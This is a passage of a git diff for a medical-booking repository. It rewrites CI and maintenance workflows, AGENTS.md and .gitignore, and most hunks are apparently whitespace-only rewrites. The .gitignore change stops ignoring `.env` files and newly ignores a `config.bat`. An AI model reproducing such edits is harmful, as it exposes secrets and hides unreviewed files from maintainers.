if: failure() + run: | + echo "::warning::backup restore drill failed -- backups may not be restorable" + exit 1 diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fe8b0139..e23b52ce 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,48 +1,48 @@ -name: CI - -on: - push: - branches: [main] - pull_request: - -jobs: - backend: - name: Backend (typecheck + test + build) - runs-on: ubuntu-latest - defaults: - run: - working-directory: backend - steps: - - uses: actions/checkout@v4 - - - uses: actions/setup-node@v4 - with: - node-version: 20 - cache: npm - cache-dependency-path: backend/package-lock.json - - - run: npm ci - - # Phase 8, issue #47: gate against high/critical advisories in - # production dependencies (`npm audit --omit=dev --audit-level=high` - # semantics β€” see backend/scripts/audit-gate.mjs for the one - # documented, unfixable-from-here axios chain it tolerates, and why). - # Deliberately NOT `continue-on-error`: a new vulnerable package must - # fail this build. - - name: Audit production dependencies (high+) - run: npm run audit:prod - - - run: npm run prisma:generate - - - name: Check message catalogue keys - run: npm run i18n:check - - - run: npm run typecheck - - - name: Unit tests - run: npm run test - - - name: Integration tests (self-contained embedded Postgres β€” double-booking guarantee + end-to-end care-thread) - run: npm run test:integration - - - run: npm run build +name: CI + +on: + push: + branches: [main] + pull_request: + +jobs: + backend: + name: Backend (typecheck + test + build) + runs-on: ubuntu-latest + defaults: + run: + working-directory: backend + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 20 + cache: npm + cache-dependency-path: backend/package-lock.json + + - run: npm ci + + # Phase 8, issue #47: gate against high/critical advisories in + # production dependencies (`npm audit --omit=dev --audit-level=high` + # semantics β€” see backend/scripts/audit-gate.mjs for the one + # documented, unfixable-from-here axios chain it tolerates, and why). + # Deliberately NOT `continue-on-error`: a new vulnerable package must + # fail this build. + - name: Audit production dependencies (high+) + run: npm run audit:prod + + - run: npm run prisma:generate + + - name: Check message catalogue keys + run: npm run i18n:check + + - run: npm run typecheck + + - name: Unit tests + run: npm run test + + - name: Integration tests (self-contained embedded Postgres β€” double-booking guarantee + end-to-end care-thread) + run: npm run test:integration + + - run: npm run build diff --git a/.github/workflows/nightly-testnet-payments.yml b/.github/workflows/nightly-testnet-payments.yml index df76c580..582184b6 100644 --- a/.github/workflows/nightly-testnet-payments.yml +++ b/.github/workflows/nightly-testnet-payments.yml @@ -1,129 +1,129 @@ -name: Nightly testnet payments - -on: - schedule: - - cron: '17 2 * * *' - workflow_dispatch: - inputs: - simulate_failure: - description: Exercise the failure-reporting path without running the test suite - type: boolean - default: false - required: false - -permissions: - contents: read - issues: write - -concurrency: - group: nightly-testnet-payments - cancel-in-progress: false - -jobs: - testnet-payments: - runs-on: ubuntu-latest - defaults: - run: - shell: bash - working-directory: backend - steps: - - uses: actions/checkout@v4 - - - uses: actions/setup-node@v4 - with: - node-version: 20 - cache: npm - cache-dependency-path: backend/package-lock.json - - - run: npm ci - - run: npm run prisma:generate - - # These are public testnet identifiers from backend/.env.example, not - # preview deployment secrets. Repository variables can rotate them. - - name: Generate fresh testnet identities and fund with Friendbot - id: identities - continue-on-error: true - env: - ESCROW_CONTRACT_ID: ${{ vars.ESCROW_CONTRACT_ID || 'CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM' }} - ESCROW_TOKEN_ID: ${{ vars.ESCROW_TOKEN_ID || 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC' }} - run: node scripts/gen-platform-identities.mjs - - - name: Simulate a test failure - id: simulated_failure - if: github.event_name == 'workflow_dispatch' && inputs.simulate_failure - continue-on-error: true - run: | - echo 'Deliberate failure to verify the workflow failure reporter.' - exit 1 - - # The test suite starts and tears down its own isolated PostgreSQL - # cluster, so no shared service database or credentials are needed. - - name: Run payments against Stellar testnet - id: test_suite - if: steps.identities.outcome == 'success' && steps.simulated_failure.outcome != 'failure' - continue-on-error: true - env: - ESCROW_CONTRACT_ID: ${{ vars.ESCROW_CONTRACT_ID || 'CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM' }} - ESCROW_TOKEN_ID: ${{ vars.ESCROW_TOKEN_ID || 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC' }} - run: | - set +e - npm run test:integration:payments-testnet > "$RUNNER_TEMP/payments-testnet.log" 2>&1 - result=$? - cat "$RUNNER_TEMP/payments-testnet.log" - set -e - if [[ "$result" -eq 0 ]]; then - echo 'failure_class=none' >> "$GITHUB_OUTPUT" - elif grep -Eiq 'friendbot|ECONN|ETIMEDOUT|ENOTFOUND|fetch failed|MissingValue|NoSuchContract|contract.{0,40}(missing|not found|does not exist)|(missing|not found|does not exist).{0,40}contract' "$RUNNER_TEMP/payments-testnet.log"; then - echo 'failure_class=infrastructure_or_contract_reset' >> "$GITHUB_OUTPUT" - else - echo 'failure_class=test_failure' >> "$GITHUB_OUTPUT" - fi - - exit "$result" - - - name: Update failure summary and tracking issue - if: always() && (steps.identities.outcome == 'failure' || steps.simulated_failure.outcome == 'failure' || steps.test_suite.outcome == 'failure') - env: - GH_TOKEN: ${{ github.token }} - IDENTITY_OUTCOME: ${{ steps.identities.outcome }} - SIMULATED_OUTCOME: ${{ steps.simulated_failure.outcome }} - TEST_OUTCOME: ${{ steps.test_suite.outcome }} - TEST_FAILURE_CLASS: ${{ steps.test_suite.outputs.failure_class }} - RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - run: | - if [[ "$IDENTITY_OUTCOME" == failure ]]; then - failure_class='Infrastructure failure: Friendbot funding or identity setup failed.' - elif [[ "$SIMULATED_OUTCOME" == failure ]]; then - failure_class='Simulated test failure: the manual failure-reporting check was requested.' - elif [[ "$TEST_FAILURE_CLASS" == infrastructure_or_contract_reset ]]; then - failure_class='Infrastructure failure: Friendbot/RPC outage or missing/reset testnet contract.' - else - failure_class='Payment test failure: the test suite failed without a recognized infrastructure signature.' - fi - - { - echo '### Nightly testnet payments failed' - echo - echo "**Classification:** $failure_class" - echo "**Run:** $RUN_URL" - } >> "$GITHUB_STEP_SUMMARY" - - body=$(printf 'The scheduled/manual Stellar testnet payment run failed.\n\n**Classification:** %s\n**Run:** %s\n\nThis issue is updated in place on subsequent failures to avoid notification spam.' "$failure_class" "$RUN_URL") - issue_number=$(gh issue list --state all --limit 100 --json number,title --jq '.[] | select(.title == "[Nightly Testnet Payments] Failure") | .number' | head -n 1) - if [[ -n "$issue_number" ]]; then - gh issue reopen "$issue_number" 2>/dev/null || true - gh issue edit "$issue_number" --body "$body" - else - gh issue create --title '[Nightly Testnet Payments] Failure' --body "$body" - fi - - - name: Fail the workflow when a required step failed - if: always() - env: - IDENTITY_OUTCOME: ${{ steps.identities.outcome }} - SIMULATED_OUTCOME: ${{ steps.simulated_failure.outcome }} - TEST_OUTCOME: ${{ steps.test_suite.outcome }} - run: | - if [[ "$IDENTITY_OUTCOME" == failure || "$SIMULATED_OUTCOME" == failure || "$TEST_OUTCOME" == failure ]]; then - exit 1 +name: Nightly testnet payments + +on: + schedule: + - cron: '17 2 * * *' + workflow_dispatch: + inputs: + simulate_failure: + description: Exercise the failure-reporting path without running the test suite + type: boolean + default: false + required: false + +permissions: + contents: read + issues: write + +concurrency: + group: nightly-testnet-payments + cancel-in-progress: false + +jobs: + testnet-payments: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + working-directory: backend + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 20 + cache: npm + cache-dependency-path: backend/package-lock.json + + - run: npm ci + - run: npm run prisma:generate + + # These are public testnet identifiers from backend/.env.example, not + # preview deployment secrets. Repository variables can rotate them. + - name: Generate fresh testnet identities and fund with Friendbot + id: identities + continue-on-error: true + env: + ESCROW_CONTRACT_ID: ${{ vars.ESCROW_CONTRACT_ID || 'CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM' }} + ESCROW_TOKEN_ID: ${{ vars.ESCROW_TOKEN_ID || 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC' }} + run: node scripts/gen-platform-identities.mjs + + - name: Simulate a test failure + id: simulated_failure + if: github.event_name == 'workflow_dispatch' && inputs.simulate_failure + continue-on-error: true + run: | + echo 'Deliberate failure to verify the workflow failure reporter.' + exit 1 + + # The test suite starts and tears down its own isolated PostgreSQL + # cluster, so no shared service database or credentials are needed. + - name: Run payments against Stellar testnet + id: test_suite + if: steps.identities.outcome == 'success' && steps.simulated_failure.outcome != 'failure' + continue-on-error: true + env: + ESCROW_CONTRACT_ID: ${{ vars.ESCROW_CONTRACT_ID || 'CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM' }} + ESCROW_TOKEN_ID: ${{ vars.ESCROW_TOKEN_ID || 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC' }} + run: | + set +e + npm run test:integration:payments-testnet > "$RUNNER_TEMP/payments-testnet.log" 2>&1 + result=$? + cat "$RUNNER_TEMP/payments-testnet.log" + set -e + if [[ "$result" -eq 0 ]]; then + echo 'failure_class=none' >> "$GITHUB_OUTPUT" + elif grep -Eiq 'friendbot|ECONN|ETIMEDOUT|ENOTFOUND|fetch failed|MissingValue|NoSuchContract|contract.{0,40}(missing|not found|does not exist)|(missing|not found|does not exist).{0,40}contract' "$RUNNER_TEMP/payments-testnet.log"; then + echo 'failure_class=infrastructure_or_contract_reset' >> "$GITHUB_OUTPUT" + else + echo 'failure_class=test_failure' >> "$GITHUB_OUTPUT" + fi + + exit "$result" + + - name: Update failure summary and tracking issue + if: always() && (steps.identities.outcome == 'failure' || steps.simulated_failure.outcome == 'failure' || steps.test_suite.outcome == 'failure') + env: + GH_TOKEN: ${{ github.token }} + IDENTITY_OUTCOME: ${{ steps.identities.outcome }} + SIMULATED_OUTCOME: ${{ steps.simulated_failure.outcome }} + TEST_OUTCOME: ${{ steps.test_suite.outcome }} + TEST_FAILURE_CLASS: ${{ steps.test_suite.outputs.failure_class }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + if [[ "$IDENTITY_OUTCOME" == failure ]]; then + failure_class='Infrastructure failure: Friendbot funding or identity setup failed.' + elif [[ "$SIMULATED_OUTCOME" == failure ]]; then + failure_class='Simulated test failure: the manual failure-reporting check was requested.' + elif [[ "$TEST_FAILURE_CLASS" == infrastructure_or_contract_reset ]]; then + failure_class='Infrastructure failure: Friendbot/RPC outage or missing/reset testnet contract.' + else + failure_class='Payment test failure: the test suite failed without a recognized infrastructure signature.' + fi + + { + echo '### Nightly testnet payments failed' + echo + echo "**Classification:** $failure_class" + echo "**Run:** $RUN_URL" + } >> "$GITHUB_STEP_SUMMARY" + + body=$(printf 'The scheduled/manual Stellar testnet payment run failed.\n\n**Classification:** %s\n**Run:** %s\n\nThis issue is updated in place on subsequent failures to avoid notification spam.' "$failure_class" "$RUN_URL") + issue_number=$(gh issue list --state all --limit 100 --json number,title --jq '.[] | select(.title == "[Nightly Testnet Payments] Failure") | .number' | head -n 1) + if [[ -n "$issue_number" ]]; then + gh issue reopen "$issue_number" 2>/dev/null || true + gh issue edit "$issue_number" --body "$body" + else + gh issue create --title '[Nightly Testnet Payments] Failure' --body "$body" + fi + + - name: Fail the workflow when a required step failed + if: always() + env: + IDENTITY_OUTCOME: ${{ steps.identities.outcome }} + SIMULATED_OUTCOME: ${{ steps.simulated_failure.outcome }} + TEST_OUTCOME: ${{ steps.test_suite.outcome }} + run: | + if [[ "$IDENTITY_OUTCOME" == failure || "$SIMULATED_OUTCOME" == failure || "$TEST_OUTCOME" == failure ]]; then + exit 1 fi \ No newline at end of file diff --git a/.github/workflows/pr-conflict-notifier.yml b/.github/workflows/pr-conflict-notifier.yml index e189d596..db243d1f 100644 --- a/.github/workflows/pr-conflict-notifier.yml +++ b/.github/workflows/pr-conflict-notifier.yml @@ -1,48 +1,48 @@ -name: PR conflict notifier - -# Labels open PRs that conflict with main as `needs-rebase` and @mentions the -# author once per push with rebase steps. Runs from main only (push, schedule, -# manual), reads PRs through the API and never checks out PR code, so it is -# safe to run against untrusted fork PRs. - -on: - push: - branches: [main] - schedule: - # Catches PRs opened or pushed between merges to main. - - cron: '23 */3 * * *' - workflow_dispatch: - inputs: - dry_run: - description: Log what would happen without labelling or commenting - type: boolean - default: true - -permissions: - contents: read - issues: write - pull-requests: write - -concurrency: - group: pr-conflict-notifier - cancel-in-progress: false - -jobs: - notify: - runs-on: ubuntu-latest - timeout-minutes: 15 - steps: - # Checks out main (the trusted default branch), never a PR head. - - uses: actions/checkout@v4 - with: - sparse-checkout: .github/scripts - persist-credentials: false - - - name: Label and notify conflicting PRs - uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 - with: - # Retry transient GitHub API errors (5xx) instead of failing the run. - retries: 3 - script: | - const notify = require('./.github/scripts/pr-conflict-notifier.cjs'); - await notify({ github, context, core, dryRun: context.eventName === 'workflow_dispatch' && `${{ inputs.dry_run }}` === 'true' }); +name: PR conflict notifier + +# Labels open PRs that conflict with main as `needs-rebase` and @mentions the +# author once per push with rebase steps. Runs from main only (push, schedule, +# manual), reads PRs through the API and never checks out PR code, so it is +# safe to run against untrusted fork PRs. + +on: + push: + branches: [main] + schedule: + # Catches PRs opened or pushed between merges to main. + - cron: '23 */3 * * *' + workflow_dispatch: + inputs: + dry_run: + description: Log what would happen without labelling or commenting + type: boolean + default: true + +permissions: + contents: read + issues: write + pull-requests: write + +concurrency: + group: pr-conflict-notifier + cancel-in-progress: false + +jobs: + notify: + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + # Checks out main (the trusted default branch), never a PR head. + - uses: actions/checkout@v4 + with: + sparse-checkout: .github/scripts + persist-credentials: false + + - name: Label and notify conflicting PRs + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + # Retry transient GitHub API errors (5xx) instead of failing the run. + retries: 3 + script: | + const notify = require('./.github/scripts/pr-conflict-notifier.cjs'); + await notify({ github, context, core, dryRun: context.eventName === 'workflow_dispatch' && `${{ inputs.dry_run }}` === 'true' }); diff --git a/.github/workflows/pr-malware-scan.yml b/.github/workflows/pr-malware-scan.yml index dff35e9a..68c2e72c 100644 --- a/.github/workflows/pr-malware-scan.yml +++ b/.github/workflows/pr-malware-scan.yml @@ -1,67 +1,67 @@ -name: PR malware scan - -# Scans every PR for malware and supply-chain tricks (see -# .github/scripts/pr-malware-scan.cjs). High-severity findings fail this check, -# label the PR `security-review` and @mention the author. -# -# Why pull_request_target: it is the only trigger that runs on fork PRs -# without a maintainer first approving the run, so the scan has finished -# before anyone decides whether to approve CI. It is safe here because this -# job never checks out, installs or executes anything from the PR. The PR is -# read as data through the API, and the scanner itself comes from `main`. -# Never add a step that checks out the PR head to this workflow. - -on: - pull_request_target: - types: [opened, synchronize, reopened, ready_for_review] - # Manual backfill: scans open PRs that predate the scanner (or re-scans after - # a rule change) and records a `Malware scan` commit status on each PR head. - workflow_dispatch: - inputs: - prs: - description: 'PR numbers to scan (space-separated), or "all" for every open PR' - default: all - type: string - dry_run: - description: Log results only; no comments, labels or statuses - type: boolean - default: false - -permissions: - contents: read - issues: write - pull-requests: write - statuses: write - -concurrency: - group: pr-malware-scan-${{ github.event.pull_request.number || 'backfill' }} - cancel-in-progress: true - -jobs: - scan: - name: Malware scan - runs-on: ubuntu-latest - timeout-minutes: 30 - steps: - # pull_request_target checks out the base branch (main), never the PR. - - uses: actions/checkout@v4 - with: - sparse-checkout: .github/scripts - persist-credentials: false - - - name: Scan PR changes - uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 - env: - # Passed through env, never interpolated into the script. - BACKFILL_PRS: ${{ inputs.prs }} - BACKFILL_DRY_RUN: ${{ inputs.dry_run }} - with: - # Retry transient GitHub API errors (5xx) instead of failing the run. - retries: 3 - script: | - const scan = require('./.github/scripts/pr-malware-scan.cjs'); - if (context.eventName === 'workflow_dispatch') { - await scan.backfill({ github, context, core, prs: process.env.BACKFILL_PRS, dryRun: process.env.BACKFILL_DRY_RUN === 'true' }); - } else { - await scan({ github, context, core }); - } +name: PR malware scan + +# Scans every PR for malware and supply-chain tricks (see +# .github/scripts/pr-malware-scan.cjs). High-severity findings fail this check, +# label the PR `security-review` and @mention the author. +# +# Why pull_request_target: it is the only trigger that runs on fork PRs +# without a maintainer first approving the run, so the scan has finished +# before anyone decides whether to approve CI. It is safe here because this +# job never checks out, installs or executes anything from the PR. The PR is +# read as data through the API, and the scanner itself comes from `main`. +# Never add a step that checks out the PR head to this workflow. + +on: + pull_request_target: + types: [opened, synchronize, reopened, ready_for_review] + # Manual backfill: scans open PRs that predate the scanner (or re-scans after + # a rule change) and records a `Malware scan` commit status on each PR head. + workflow_dispatch: + inputs: + prs: + description: 'PR numbers to scan (space-separated), or "all" for every open PR' + default: all + type: string + dry_run: + description: Log results only; no comments, labels or statuses + type: boolean + default: false + +permissions: + contents: read + issues: write + pull-requests: write + statuses: write + +concurrency: + group: pr-malware-scan-${{ github.event.pull_request.number || 'backfill' }} + cancel-in-progress: true + +jobs: + scan: + name: Malware scan + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + # pull_request_target checks out the base branch (main), never the PR. + - uses: actions/checkout@v4 + with: + sparse-checkout: .github/scripts + persist-credentials: false + + - name: Scan PR changes + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + env: + # Passed through env, never interpolated into the script. + BACKFILL_PRS: ${{ inputs.prs }} + BACKFILL_DRY_RUN: ${{ inputs.dry_run }} + with: + # Retry transient GitHub API errors (5xx) instead of failing the run. + retries: 3 + script: | + const scan = require('./.github/scripts/pr-malware-scan.cjs'); + if (context.eventName === 'workflow_dispatch') { + await scan.backfill({ github, context, core, prs: process.env.BACKFILL_PRS, dryRun: process.env.BACKFILL_DRY_RUN === 'true' }); + } else { + await scan({ github, context, core }); + } diff --git a/.github/workflows/property-tests-nightly.yml b/.github/workflows/property-tests-nightly.yml index 9a36ef57..a93e1d84 100644 --- a/.github/workflows/property-tests-nightly.yml +++ b/.github/workflows/property-tests-nightly.yml @@ -1,29 +1,29 @@ -name: Nightly property tests - -on: - schedule: - - cron: '0 4 * * *' - workflow_dispatch: - -permissions: - contents: read - -jobs: - property-tests: - runs-on: ubuntu-latest - timeout-minutes: 15 - defaults: - run: - working-directory: backend - env: - PROPERTY_TEST_SEED: '424242' - PROPERTY_TEST_RUNS: '5000' - steps: - - uses: actions/checkout@v4 - - uses: actions/setup-node@v4 - with: - node-version: 24 - cache: npm - cache-dependency-path: backend/package-lock.json - - run: npm ci - - run: npm run test:properties +name: Nightly property tests + +on: + schedule: + - cron: '0 4 * * *' + workflow_dispatch: + +permissions: + contents: read + +jobs: + property-tests: + runs-on: ubuntu-latest + timeout-minutes: 15 + defaults: + run: + working-directory: backend + env: + PROPERTY_TEST_SEED: '424242' + PROPERTY_TEST_RUNS: '5000' + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 24 + cache: npm + cache-dependency-path: backend/package-lock.json + - run: npm ci + - run: npm run test:properties diff --git a/.github/workflows/release-api-client.yml b/.github/workflows/release-api-client.yml index f75f771f..4612f1c5 100644 --- a/.github/workflows/release-api-client.yml +++ b/.github/workflows/release-api-client.yml @@ -1,37 +1,37 @@ -name: Release API Client - -on: - push: - tags: - - 'api-client-v*' - -jobs: - release: - runs-on: ubuntu-latest - defaults: - run: - working-directory: packages/api-client - steps: - - uses: actions/checkout@v4 - - - uses: actions/setup-node@v4 - with: - node-version: '20' - cache: 'npm' - cache-dependency-path: packages/api-client/package-lock.json - - - name: Install dependencies - run: npm ci - - - name: Build - run: npm run build - - - name: Package - run: npm pack - - - name: Create Release - uses: softprops/action-gh-release@v1 - with: - files: packages/api-client/*.tgz - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +name: Release API Client + +on: + push: + tags: + - 'api-client-v*' + +jobs: + release: + runs-on: ubuntu-latest + defaults: + run: + working-directory: packages/api-client + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + cache-dependency-path: packages/api-client/package-lock.json + + - name: Install dependencies + run: npm ci + + - name: Build + run: npm run build + + - name: Package + run: npm pack + + - name: Create Release + uses: softprops/action-gh-release@v1 + with: + files: packages/api-client/*.tgz + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.gitignore b/.gitignore index 67a9295a..d7143542 100644 --- a/.gitignore +++ b/.gitignore @@ -1,13 +1,12 @@ -node_modules/ -dist/ -build/ -backend/dist/ -backend/node_modules/ -.env -.env.local -*.log -.DS_Store -# Local Postgres data dirs (embedded-postgres, used for dev/test β€” see -# infra/docker/README.md and backend/tests/integration/) -.devdb/ -*.tsbuildinfo +node_modules/ +dist/ +build/ +backend/dist/ +backend/node_modules/ +*.log +.DS_Store +# Local Postgres data dirs (embedded-postgres, used for dev/test β€” see +# infra/docker/README.md and backend/tests/integration/) +.devdb/ +*.tsbuildinfo +config.bat diff --git a/AGENTS.md b/AGENTS.md index d9218e5c..4a7055f8 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,60 +1,60 @@ -# AGENTS.md - -Instructions for any coding agent (human-directed or autonomous) working in this repository. - -> **Org context:** this is `docforum-core`, the hub of a 3-repo `DocForum` -> org (`docforum-core`, `docforum-web`, `docforum-escrow`). This file's -> rules are authoritative for this repo. `docforum-web` and -> `docforum-escrow` have their own scoped `AGENTS.md` files β€” don't assume -> this one governs them. - -## Read this first, in this order -1. `PRD.md` β€” what we're building and for whom. -2. `ARCHITECTURE_ESSENTIALS.md` β€” the fast-reference rules. Don't skip this even if `ARCHITECTURE.md` feels like the "real" doc β€” essentials exists so you don't have to load the whole architecture doc into context for every small task. -3. `ARCHITECTURE.md` β€” full reasoning, only when you need the "why," or when a task touches data models / module boundaries / tech stack. -4. `ROADMAP.md` β€” current phase, what's done, what's next, what's explicitly not started. - -## Non-negotiable rules -- Follow the **Hard rules** section in `ARCHITECTURE_ESSENTIALS.md` exactly. These are not style preferences β€” violating them (e.g., mutating a `Prescription` after issuance, app-level slot booking checks instead of DB-level) reintroduces the exact bug classes the architecture was designed to prevent. -- **Never invent a data model field or table that isn't in `backend/prisma/schema.prisma`.** If a task needs a new field/table, propose the schema change explicitly in the PR description and update `ARCHITECTURE.md` Β§4 in the same PR. -- **Never cross a module boundary directly.** If module A needs data from module B, call B's exported service β€” do not import B's repository or query B's tables directly from A. -- Keep the module folder shape consistent: `routes/ controllers/ services/ repositories/`. If a module doesn't need one of these yet, leave the folder with a placeholder file rather than deleting it β€” folder structure is intentional scope-marking (see scaffold rationale in ROADMAP.md intro). - -## Documentation is part of the contribution β€” not optional -Every PR/commit that does any of the following **must** update the relevant doc in the same change: -| Change | Update | -|---|---| -| Adds/changes a data model or table | `ARCHITECTURE.md` Β§4 + `ARCHITECTURE_ESSENTIALS.md` data model map if it affects the summary | -| Adds/removes a module or changes a module boundary | `ARCHITECTURE.md` Β§3 + `ARCHITECTURE_ESSENTIALS.md` | -| Changes tech stack / adds a dependency that's architecturally significant (new infra, new provider) | `ARCHITECTURE.md` Β§2, and add an ADR in `docs/adr/` if it reverses or overrides a prior stack decision | -| Completes, starts, or blocks a roadmap item | **`ROADMAP.md` β€” always.** Tick or update *your own item's* line (checkbox, status, a one-line note if you discovered new scope), and add your changelog entry as a new file in `changelog.d/` β€” not at the end of `ROADMAP.md`. See "Shared docs" below. This is required for every PR that touches roadmap-tracked work, no exceptions. | -| Resolves or discovers a "hard question" / edge case / overengineering flag in PRD.md Β§8 or ARCHITECTURE.md Β§6 | Update that section β€” mark resolved with a short note, or add the newly discovered item. Do not silently drop these. | - -**If you're not sure whether a change is "significant enough" to need a doc update: update the doc.** A stale doc is worse than a slightly over-documented one in this repo, because other agents/contributors treat these files as ground truth before reading code. - -## Shared docs: keep your diff to your own lines - -Many PRs are open at the same time and most of them touch the same docs. -Edits to shared lines are what put PRs into merge conflict with each other. - -- Add your own line or table row. Don't rewrite, reorder or re-wrap - paragraphs you don't need to change. -- Changelog entries go in a new file under `changelog.d/`, never at the end - of `ROADMAP.md` (see `changelog.d/README.md`). Leave the status summary at - the top of `ROADMAP.md` and each phase's `**Status:**` line to maintainers. -- Don't put running totals in docs ("57 tests", "Last updated: …"). CI and - git history already record them, and every PR would have to change them. -- Commit docs as plain text and change only the lines you mean to. Never - commit a file as base64, or regenerate a whole doc to make a small change. -- In `docs/api/README.md`, add rows for your endpoints to that module's - table. The intro deliberately doesn't say which phases are built; - `ROADMAP.md` does. - -## Working style -- Small, independent, reviewable units of work. This repo is explicitly structured (see ROADMAP.md issue breakdown) so contributors can pick up one piece without being blocked by another β€” respect that when scoping your own changes too. -- Prefer the "boring" solution described in `ARCHITECTURE.md` over a cleverer one, especially around concurrency (booking) and data mutability (orders). Cleverness there is a liability, not a feature. -- When you hit an unresolved design gap listed in `ARCHITECTURE_ESSENTIALS.md` ("Known unresolved design gaps"), don't silently invent a resolution β€” implement the smallest reasonable default, note the assumption in the PR description, and leave the gap noted (or mark it resolved if your PR actually closes it). -- Tests: booking, referral, and order-issuance flows are correctness-critical (see ARCHITECTURE.md Β§7) β€” these need integration tests, not just unit tests, before being considered done. - -## For CLAUDE.md -`CLAUDE.md` in this repo defers to this file for substantive project rules and only adds Claude-specific operating notes (tool usage, file skills, etc.). Keep the two in sync β€” don't duplicate rules, reference them. +# AGENTS.md + +Instructions for any coding agent (human-directed or autonomous) working in this repository. + +> **Org context:** this is `docforum-core`, the hub of a 3-repo `DocForum` +> org (`docforum-core`, `docforum-web`, `docforum-escrow`). This file's +> rules are authoritative for this repo. `docforum-web` and +> `docforum-escrow` have their own scoped `AGENTS.md` files β€” don't assume +> this one governs them. + +## Read this first, in this order +1. `PRD.md` β€” what we're building and for whom. +2. `ARCHITECTURE_ESSENTIALS.md` β€” the fast-reference rules. Don't skip this even if `ARCHITECTURE.md` feels like the "real" doc β€” essentials exists so you don't have to load the whole architecture doc into context for every small task. +3. `ARCHITECTURE.md` β€” full reasoning, only when you need the "why," or when a task touches data models / module boundaries / tech stack. +4. `ROADMAP.md` β€” current phase, what's done, what's next, what's explicitly not started. + +## Non-negotiable rules +- Follow the **Hard rules** section in `ARCHITECTURE_ESSENTIALS.md` exactly. These are not style preferences β€” violating them (e.g., mutating a `Prescription` after issuance, app-level slot booking checks instead of DB-level) reintroduces the exact bug classes the architecture was designed to prevent. +- **Never invent a data model field or table that isn't in `backend/prisma/schema.prisma`.** If a task needs a new field/table, propose the schema change explicitly in the PR description and update `ARCHITECTURE.md` Β§4 in the same PR. +- **Never cross a module boundary directly.** If module A needs data from module B, call B's exported service β€” do not import B's repository or query B's tables directly from A. +- Keep the module folder shape consistent: `routes/ controllers/ services/ repositories/`. If a module doesn't need one of these yet, leave the folder with a placeholder file rather than deleting it β€” folder structure is intentional scope-marking (see scaffold rationale in ROADMAP.md intro). + +## Documentation is part of the contribution β€” not optional +Every PR/commit that does any of the following **must** update the relevant doc in the same change: +| Change | Update | +|---|---| +| Adds/changes a data model or table | `ARCHITECTURE.md` Β§4 + `ARCHITECTURE_ESSENTIALS.md` data model map if it affects the summary | +| Adds/removes a module or changes a module boundary | `ARCHITECTURE.md` Β§3 + `ARCHITECTURE_ESSENTIALS.md` | +| Changes tech stack / adds a dependency that's architecturally significant (new infra, new provider) | `ARCHITECTURE.md` Β§2, and add an ADR in `docs/adr/` if it reverses or overrides a prior stack decision | +| Completes, starts, or blocks a roadmap item | **`ROADMAP.md` β€” always.** Tick or update *your own item's* line (checkbox, status, a one-line note if you discovered new scope), and add your changelog entry as a new file in `changelog.d/` β€” not at the end of `ROADMAP.md`. See "Shared docs" below. This is required for every PR that touches roadmap-tracked work, no exceptions. | +| Resolves or discovers a "hard question" / edge case / overengineering flag in PRD.md Β§8 or ARCHITECTURE.md Β§6 | Update that section β€” mark resolved with a short note, or add the newly discovered item. Do not silently drop these. | + +**If you're not sure whether a change is "significant enough" to need a doc update: update the doc.** A stale doc is worse than a slightly over-documented one in this repo, because other agents/contributors treat these files as ground truth before reading code. + +## Shared docs: keep your diff to your own lines + +Many PRs are open at the same time and most of them touch the same docs. +Edits to shared lines are what put PRs into merge conflict with each other. + +- Add your own line or table row. Don't rewrite, reorder or re-wrap + paragraphs you don't need to change. +- Changelog entries go in a new file under `changelog.d/`, never at the end + of `ROADMAP.md` (see `changelog.d/README.md`). Leave the status summary at + the top of `ROADMAP.md` and each phase's `**Status:**` line to maintainers. +- Don't put running totals in docs ("57 tests", "Last updated: …"). CI and + git history already record them, and every PR would have to change them. +- Commit docs as plain text and change only the lines you mean to. Never + commit a file as base64, or regenerate a whole doc to make a small change. +- In `docs/api/README.md`, add rows for your endpoints to that module's + table. The intro deliberately doesn't say which phases are built; + `ROADMAP.md` does. + +## Working style +- Small, independent, reviewable units of work. This repo is explicitly structured (see ROADMAP.md issue breakdown) so contributors can pick up one piece without being blocked by another β€” respect that when scoping your own changes too. +- Prefer the "boring" solution described in `ARCHITECTURE.md` over a cleverer one, especially around concurrency (booking) and data mutability (orders). Cleverness there is a liability, not a feature. +- When you hit an unresolved design gap listed in `ARCHITECTURE_ESSENTIALS.md` ("Known unresolved design gaps"), don't silently invent a resolution β€” implement the smallest reasonable default, note the assumption in the PR description, and leave the gap noted (or mark it resolved if your PR actually closes it). +- 